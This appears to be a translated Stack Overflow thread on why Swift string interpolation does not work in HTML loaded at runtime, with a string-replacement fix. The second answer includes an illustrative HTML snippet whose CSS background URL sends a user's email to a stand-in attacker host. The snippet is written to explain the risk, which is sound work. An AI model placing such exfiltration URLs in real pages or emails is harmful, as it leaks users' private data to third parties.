【问题标题】:How to change content of HTML file with variables?如何使用变量更改 HTML 文件的内容?
【发布时间】:2015-07-29 21:41:43
【问题描述】:
我有 HTML。 HTML 文件包含很少这样的文本:\(something)。我将这个 HTML 转换为字符串。但是,当我将其作为 html 正文(或 Web 视图)放入邮件时,会显示这些 \(something) 而不是我的数据。有人知道如何处理这个问题吗?
我知道 html 不是 swift,但是当我将它转换为字符串时,它应该表现得像 swift 字符串,不是吗?谢谢
为了更好地理解检查截图。
我的 html 文件中的一段代码:
OSX 邮件应用:
【问题讨论】:
标签:
html
string
swift
mfmailcomposeviewcontroller
【解决方案1】:
我遇到了同样的问题并使用了stringByReplacingOccurrencesOfString。示例代码见下文:
您可以通过调用NSBundle 来获取html 文件的内容
let filePath = NSBundle.mainBundle().pathForResource("emailTemplate", ofType: "html")
let contentData = NSFileManager.defaultManager().contentsAtPath(filePath!)
let emailTemplate = NSString(data: contentData!, encoding: NSUTF8StringEncoding) as? String
在您的html file 中,您使用唯一的目标(例如@%)替换您希望变量所在的位置,只要它对该变量是唯一的就无关紧要。假设您的 html 文件如下所示:
然后将字符串替换为目标:
let replacedHtmlContent = emailTemplate?.stringByReplacingOccurrencesOfString("@%", withString: "Name")
您的新 html 内容将是:
希望这有帮助,祝你好运!
【解决方案2】:
编译器处理字符串插值工作的基础;因此,当您在运行时传递该字符串时,它(谢天谢地)不会评估它以寻找要填充的变量。
如果是这样,有人可以通过数据文件将任意代码传递到您的程序中,并且它会被评估,因为
“字符串插值是一种通过将常量、变量、文字和表达式的值包含在字符串文字中来构造新字符串值的方法。 ” (强调)
摘自:Apple Inc. “Swift 编程语言 (Swift 5.0)。”苹果图书。 https://books.apple.com/us/book/the-swift-programming-language-swift-5-0/id881256329
因此,在运行时评估字符串并从执行范围填充变量将允许攻击者通过类似的方式泄露数据
<html>
<body></body>
<style>body{ background-image: url("http://bad-guys-website/?stolen_email=\(userEmailVariableInSwiftCodeFromApp)");}</style>
</html>